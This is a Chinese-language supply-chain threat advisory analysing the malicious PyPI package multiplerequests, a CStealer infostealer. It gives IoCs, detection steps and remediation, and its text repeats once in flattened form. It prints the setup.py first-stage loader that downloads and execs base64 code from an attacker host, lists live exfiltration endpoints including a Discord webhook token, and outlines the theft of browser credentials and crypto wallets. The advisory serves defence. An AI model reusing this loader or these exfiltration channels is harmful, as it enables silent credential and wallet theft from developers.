供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击
字数 2088 2025-08-22 12:22:48

恶意Py包multiplerequests供应链投毒分析及防御指南

1. 事件概述

2024年4月25日,悬镜供应链安全情报中心在PyPI官方仓库中发现名为multiplerequests的恶意Python包,该包伪装成HTTP组件,实际包含CStealer窃密后门。攻击者连续发布了6个不同版本(2.31.0-2.31.5),专门针对Windows平台的Python开发者。

2. 攻击影响范围

  • 下载量:截至发现时,恶意包在PyPI上已被下载435次
  • 镜像源影响:该恶意包仍可从国内主流镜像源(如清华大学、腾讯云等)下载
  • 系统限制:仅影响Windows系统,Linux系统安装会因路径问题导致部分功能失效

3. 攻击技术分析

3.1 攻击流程

  1. 开发者通过pip安装multiplerequests
  2. 安装过程中自动执行setup.py中的恶意代码
  3. 恶意代码分两个阶段执行:
    • 第一阶段:从攻击者服务器下载第二阶段恶意代码
    • 第二阶段:执行完整的CStealer后门功能

3.2 恶意代码执行链

# setup.py中的第一阶段恶意代码(经过base64编码)
from urllib import request
package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"
package_name = request.urlopen(package_url).read()
exec(base64.b64decode(package_name))

3.3 CStealer后门功能

3.3.1 信息收集功能

  • 系统敏感信息收集

    • 操作系统版本
    • 处理器信息
    • 网卡MAC地址
    • 网络IP地址
    • 主机名
    • 数据外传至:https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot
  • 浏览器隐私数据收集

    • 支持的浏览器:Chrome、Opera、Edge、Torch、Yandex、Epic等(基于Chromium内核)
    • 收集内容:Cookie、登录凭证、浏览历史、下载记录
    • 数据压缩后外传

3.3.2 数字钱包数据窃取

  • 针对钱包应用:Atomic Wallet、Binance、Electrum等
  • 数据外传至:https://store1.gofile.io/uploadFile

3.3.3 屏幕截屏功能

  1. https://frvezdffvv.pythonanywhere.com/getmss下载python-mss模块
  2. 使用该模块进行屏幕截屏
  3. 截屏数据外传

3.3.4 持久化机制

  • 将恶意代码复制到Windows启动目录实现开机自启动
  • 路径:~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

4. IoC(失陷指标)

4.1 文件哈希

  • multiplerequests-2.31.0/setup.py SHA256: e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f

4.2 恶意URL

  1. 第一阶段代码下载:

    • https://frvezdffvv.pythonanywhere.com/getpackage
  2. 数据外传地址:

    • https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot
    • https://store1.gofile.io/uploadFile
  3. 辅助URL:

    • https://frvezdffvv.pythonanywhere.com/getmss
    • https://rentry.co/u4tup/raw
    • https://rentry.co/5crcu/raw
    • https://rentry.co/5uu99/raw
    • https://rentry.co/pmpxa/raw

5. 检测与防御措施

5.1 检测方法

5.1.1 手动检测

# 检查是否安装了恶意包
pip show multiplerequests

# 如果返回包信息,则表示已安装

5.1.2 使用OpenSCA-cli检测

  1. 创建检测配置文件db.json
[
  {
    "product": "multiplerequests",
    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",
    "language": "python",
    "id": "XMIRROR-MAL45-7DF79312",
    "description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击",
    "release_date": "2024-04-25"
  }
]
  1. 执行扫描:
opensca-cli -db db.json -path ${project_path}

5.2 应急响应

  1. 如果检测到感染:
    pip uninstall multiplerequests -y
    
  2. 断开网络连接
  3. 检查系统异常进程
  4. 检查Windows启动目录是否有可疑文件
  5. 更改所有可能泄露的密码(特别是浏览器保存的密码和钱包密码)

5.3 预防措施

  1. 软件源管理

    • 优先使用官方PyPI源或可信的企业内部镜像
    • 避免使用不受信任的第三方镜像源
  2. 依赖审查

    • 在引入新依赖前检查其声誉和下载量
    • 使用pip check验证依赖完整性
    • 考虑使用虚拟环境隔离项目依赖
  3. 安全工具

    • 使用OpenSCA等供应链安全工具定期扫描项目
    • 部署端点检测与响应(EDR)解决方案
  4. 开发实践

    • 实施代码签名验证
    • 建立软件物料清单(SBOM)管理流程
    • 定期更新依赖到已知安全版本

6. 总结

multiplerequests恶意包事件是典型的供应链攻击案例,攻击者利用开发者对公共包仓库的信任,通过伪装常用组件传播恶意软件。此类攻击具有隐蔽性强、影响面广的特点,需要开发者提高安全意识,建立完善的依赖管理流程和安全防护措施。

恶意Py包multiplerequests供应链投毒分析及防御指南 1. 事件概述 2024年4月25日,悬镜供应链安全情报中心在PyPI官方仓库中发现名为 multiplerequests 的恶意Python包,该包伪装成HTTP组件,实际包含CStealer窃密后门。攻击者连续发布了6个不同版本(2.31.0-2.31.5),专门针对Windows平台的Python开发者。 2. 攻击影响范围 下载量 :截至发现时,恶意包在PyPI上已被下载435次 镜像源影响 :该恶意包仍可从国内主流镜像源(如清华大学、腾讯云等)下载 系统限制 :仅影响Windows系统,Linux系统安装会因路径问题导致部分功能失效 3. 攻击技术分析 3.1 攻击流程 开发者通过pip安装 multiplerequests 包 安装过程中自动执行setup.py中的恶意代码 恶意代码分两个阶段执行: 第一阶段:从攻击者服务器下载第二阶段恶意代码 第二阶段:执行完整的CStealer后门功能 3.2 恶意代码执行链 3.3 CStealer后门功能 3.3.1 信息收集功能 系统敏感信息收集 : 操作系统版本 处理器信息 网卡MAC地址 网络IP地址 主机名 数据外传至: https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot 浏览器隐私数据收集 : 支持的浏览器:Chrome、Opera、Edge、Torch、Yandex、Epic等(基于Chromium内核) 收集内容:Cookie、登录凭证、浏览历史、下载记录 数据压缩后外传 3.3.2 数字钱包数据窃取 针对钱包应用:Atomic Wallet、Binance、Electrum等 数据外传至: https://store1.gofile.io/uploadFile 3.3.3 屏幕截屏功能 从 https://frvezdffvv.pythonanywhere.com/getmss 下载python-mss模块 使用该模块进行屏幕截屏 截屏数据外传 3.3.4 持久化机制 将恶意代码复制到Windows启动目录实现开机自启动 路径: ~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 4. IoC(失陷指标) 4.1 文件哈希 multiplerequests-2.31.0/setup.py SHA256: e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f 4.2 恶意URL 第一阶段代码下载: https://frvezdffvv.pythonanywhere.com/getpackage 数据外传地址: https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot https://store1.gofile.io/uploadFile 辅助URL: https://frvezdffvv.pythonanywhere.com/getmss https://rentry.co/u4tup/raw https://rentry.co/5crcu/raw https://rentry.co/5uu99/raw https://rentry.co/pmpxa/raw 5. 检测与防御措施 5.1 检测方法 5.1.1 手动检测 5.1.2 使用OpenSCA-cli检测 创建检测配置文件 db.json : 执行扫描: 5.2 应急响应 如果检测到感染: 断开网络连接 检查系统异常进程 检查Windows启动目录是否有可疑文件 更改所有可能泄露的密码(特别是浏览器保存的密码和钱包密码) 5.3 预防措施 软件源管理 : 优先使用官方PyPI源或可信的企业内部镜像 避免使用不受信任的第三方镜像源 依赖审查 : 在引入新依赖前检查其声誉和下载量 使用 pip check 验证依赖完整性 考虑使用虚拟环境隔离项目依赖 安全工具 : 使用OpenSCA等供应链安全工具定期扫描项目 部署端点检测与响应(EDR)解决方案 开发实践 : 实施代码签名验证 建立软件物料清单(SBOM)管理流程 定期更新依赖到已知安全版本 6. 总结 multiplerequests 恶意包事件是典型的供应链攻击案例,攻击者利用开发者对公共包仓库的信任,通过伪装常用组件传播恶意软件。此类攻击具有隐蔽性强、影响面广的特点,需要开发者提高安全意识,建立完善的依赖管理流程和安全防护措施。